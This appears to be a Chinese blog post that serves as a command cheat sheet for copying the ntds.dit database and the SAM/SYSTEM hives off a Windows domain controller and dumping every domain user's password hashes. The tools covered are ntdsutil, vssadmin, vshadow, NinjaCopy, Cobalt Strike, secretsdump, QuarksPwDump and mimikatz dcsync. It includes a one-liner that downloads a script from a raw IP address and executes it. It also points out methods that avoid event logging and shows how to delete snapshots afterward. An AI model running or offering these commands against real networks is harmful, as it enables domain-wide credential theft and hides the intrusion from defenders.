携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第13天,点击查看活动详情
获取ntds.dit - Ntdsutil -InstallFromMedia
• 交互式
ntdsutil
activate instance ntds
ifm
create full :\
quit
quit
• 非交互
ntdsutil "activate instance ntds" ifm “create full
C:\ntds” quit quit
获取ntds.dit - vssadmin
VssAdmin:是Windows系统提供的卷影复制服务(VSS)的管理工具,域环境默认安装。
• 用于创建或删除卷影副本,列出卷影副本的信息
• 用于显示所有安装的所有卷影副本写入程序和提供程序
• 改变卷影副本存储空间的大小等
获取ntds.dit - vssadmin
- 查询当前系统的快照
vssadmin list shadows
- 创建快照
vssadmin create shadow /for=c:
- 获得Shadow Copy Volume Name
\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy21
- 复制ntds.dit
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy21\windows\NTDS\ntds.dit
c:\ntds2.dit
- 删除快照
vssadmin delete shadows /for=c: /quiet
vssadmin delete Shadows /All /quiet
获取ntds.dit - vshadow
Vshadow:是一个简单的指令行工具,它允许任何人创建卷影拷贝。系统默认不支持,可在Microsoft Windows
Software Development Kit (SDK)中获得该工具。
- 查询当前系统的快照
vshadow.exe -q
- 创建快照
vshadow.exe -p -nw C:
参数说明:
-p persistent,备份操作或是重启系统不会删除
-nw no writers,用来提高创建速度
C: 对应c盘
获得SnapshotSetID、SnapshotID、Shadow copy、device name
- 复制ntds.dit
copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit
- 删除快照
vshadow -dx=ShadowCopySetId
获取ntds.dit - 拓展 - 日志信息
调用Volume Shadow Copy服务会产生日志文件,位于System下,Event ID为7036
执行ntdsutil snapshot "activate instance ntds" create quit quit会额外产生Event ID为98的日志文件
获取ntds.dit - 拓展 - mklink
• 访问快照中的文件
查看快照列表:
vssadmin list shadows
无法直接访问 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23中的文件
可通过创建符号链接访问快照中的文件:
mklink /d c:\test\ \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23\
删除符号链接:
rd c:\testvsc
NinjaCopy
通过NinjaCopy获得域控服务器NTDS.dit文件
没有调用Volume Shadow Copy服务,所以不会产生日志文件7036。
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
Invoke-NinjaCopy -Path C:\windows\ntds\ntds.dit -LocalDestination .\ntds.dit
NinjaCopy - cobaltstrike
powershell-import C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam.hive
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination
c:\system.hive
powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination C:\ntds.dit
(这里是和cobaltstrike联动,将ntds.dit和system.hive文件复制到攻击机上面,再用NinjaCopy来破解,不然会报错,因为ninjacopy的服务在靶机会被杀)
NinjaCopy - 远程加载
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://39.108.68.207:8000/Invoke
NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination
c:\sam1.hive
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://39.108.68.207:8000/Invoke
NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination
c:\system1.hive
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://39.108.68.207:8000/Invoke
NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\ntds\ntds.dit -LocalDestination c:\ntds1.dit
拿到了ntds.dit文件,剩下的就是要解密了
解密ntds.dit - QuarkPwDump
Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的
用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。
- 修复复制出来的数据库文件
esentutl /p /o ntds.dit
- 使用QuarksPwDump直接读取信息并将结果导出至文件
QuarksPwDump.exe --dump-hash-domain --output de1ay.com.txt --ntds-file ntds.dit
解密ntds.dit - secretsdump
impacket 套件中的 secretsdump.py 脚本解密,速度有点慢
secretsdump.exe -sam sam.hive -security security.hive -system system.hive LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
解密ntds.dit - NtdsAudit
NtdsAudit可以十分高效的破解ntds文件并将全部域用户信息导出方便查找域用户状态。
将ntds.dit文件和SYSTEM文件放在同一目录下执行命令(将结果导出为csv文件)
NtdsAudit.exe "ntds.dit" -s "system.hive" -p pwdump.txt --users-csv users.csv
解密ntds.dit - mimikatz
Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从
NTDS.DIT文件中提取密码哈希值。
• 通过dcsync直接获取de1ay域内所有用户hash
lsadump::dcsync /domain:de1ay.com /all /csv
• 获取单个用户的详细信息
lsadump::dcsync /domain:de1ay.com /user:krbtgt
• 查看所有用户的所有详细信息
privilege::debug
lsadump::lsa /inject